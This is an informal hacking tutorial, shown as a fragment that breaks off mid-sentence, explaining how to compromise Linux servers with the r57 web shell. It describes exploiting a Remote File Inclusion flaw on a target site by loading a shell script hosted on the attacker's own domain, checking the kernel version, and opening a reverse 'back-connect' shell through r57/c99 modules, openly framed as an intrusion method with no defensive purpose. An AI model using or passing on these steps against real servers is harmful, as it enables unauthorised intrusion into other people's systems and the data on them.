This is a tutorial on rooting Linux servers with r57 shell (Or any other shell)Too bad not many sites are vulnerable these days =/-Suppose that we have found a site with R.F.I. vulnerability:http://www.hackedsite.com/folder/index.php?page=we can run shell exploiting Remote File Inclusion, as follows:http://www.hackedsite.com/folder/index.p...shell.php?where shell.php is our web shell that we have already uploaded toour site. (http://www.mysite.com)After we enter in shell, first of all we will see the version of the kernelat the top of the page or by typing: uname - a in Command line.To continue we must connect with backconnection to the box. This can done withtwo ways if we have the suitable shell.We can use the Back-Connect module of r57/c99 shell or to upload a backconnectorin a writable...